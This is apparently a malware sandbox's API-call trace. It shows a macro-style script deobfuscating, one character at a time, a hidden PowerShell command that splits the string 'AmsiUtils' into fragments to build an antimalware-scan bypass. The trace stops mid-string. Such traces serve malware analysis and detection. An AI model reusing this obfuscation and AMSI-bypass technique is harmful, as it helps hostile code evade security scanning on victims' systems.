MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="N") returned 1 [0072.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.108] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0072.108] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i", bstrRight="'", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.108] VarBstrCat (in: bstrLeft="&H", bstrRight="56", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.108] VarParseNumFromStr (in: strIn="&H56", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.108] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.108] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="V") returned 1 [0072.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="V£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.108] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="+") returned 1 [0072.108] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'", bstrRight="+", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.108] VarBstrCat (in: bstrLeft="&H", bstrRight="4E", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.108] VarParseNumFromStr (in: strIn="&H4E", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.108] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.108] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="N") returned 1 [0072.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.108] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0072.108] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+", bstrRight="'", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.108] VarBstrCat (in: bstrLeft="&H", bstrRight="AA", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.108] VarParseNumFromStr (in: strIn="&HAA", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.109] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.109] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="ª") returned 1 [0072.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ª", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ª£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.109] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="U") returned 1 [0072.109] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'", bstrRight="U", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.109] VarBstrCat (in: bstrLeft="&H", bstrRight="4E", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.109] VarParseNumFromStr (in: strIn="&H4E", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.109] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.109] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="N") returned 1 [0072.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.109] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0072.109] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U", bstrRight="'", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.109] VarBstrCat (in: bstrLeft="&H", bstrRight="56", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.109] VarParseNumFromStr (in: strIn="&H56", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.109] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.109] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="V") returned 1 [0072.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="V£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.109] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="+") returned 1 [0072.109] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'", bstrRight="+", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.109] VarBstrCat (in: bstrLeft="&H", bstrRight="4E", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.110] VarParseNumFromStr (in: strIn="&H4E", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.110] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.110] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="N") returned 1 [0072.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.110] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0072.110] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+", bstrRight="'", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.110] VarBstrCat (in: bstrLeft="&H", bstrRight="E8", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.110] VarParseNumFromStr (in: strIn="&HE8", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.110] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.110] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="è") returned 1 [0072.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="è", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="裵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.110] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0072.111] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'", bstrRight="t", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.111] VarBstrCat (in: bstrLeft="&H", bstrRight="D2", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.111] VarParseNumFromStr (in: strIn="&HD2", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.111] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.111] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="Ò") returned 1 [0072.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ò", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ò£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.111] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0072.111] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'t", bstrRight="i", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.111] VarBstrCat (in: bstrLeft="&H", bstrRight="4E", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.111] VarParseNumFromStr (in: strIn="&H4E", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.111] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.111] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="N") returned 1 [0072.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.111] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0072.111] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti", bstrRight="'", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.111] VarBstrCat (in: bstrLeft="&H", bstrRight="56", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.111] VarParseNumFromStr (in: strIn="&H56", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.111] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.111] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="V") returned 1 [0072.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="V£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.111] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="+") returned 1 [0072.112] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'", bstrRight="+", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.112] VarBstrCat (in: bstrLeft="&H", bstrRight="4E", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.112] VarParseNumFromStr (in: strIn="&H4E", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.112] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.112] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="N") returned 1 [0072.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.112] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0072.112] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'+", bstrRight="'", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.112] VarBstrCat (in: bstrLeft="&H", bstrRight="D8", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.112] VarParseNumFromStr (in: strIn="&HD8", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.112] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.112] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="Ø") returned 1 [0072.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ø", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ø£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.112] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0072.112] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'+'", bstrRight="l", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.112] VarBstrCat (in: bstrLeft="&H", bstrRight="4E", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.112] VarParseNumFromStr (in: strIn="&H4E", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.112] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.112] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="N") returned 1 [0072.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.113] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0072.113] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'+'l", bstrRight="'", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.113] VarBstrCat (in: bstrLeft="&H", bstrRight="56", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.113] VarParseNumFromStr (in: strIn="&H56", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.113] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.113] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="V") returned 1 [0072.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="V£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.113] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="+") returned 1 [0072.113] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'+'l'", bstrRight="+", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.113] VarBstrCat (in: bstrLeft="&H", bstrRight="4E", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.113] VarParseNumFromStr (in: strIn="&H4E", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.113] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.113] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="N") returned 1 [0072.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.113] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0072.113] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'+'l'+", bstrRight="'", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.113] VarBstrCat (in: bstrLeft="&H", bstrRight="E6", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.113] VarParseNumFromStr (in: strIn="&HE6", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.113] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.113] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="æ") returned 1 [0072.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="æ", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="棵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.114] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0072.114] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'+'l'+'", bstrRight="s", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.114] VarBstrCat (in: bstrLeft="&H", 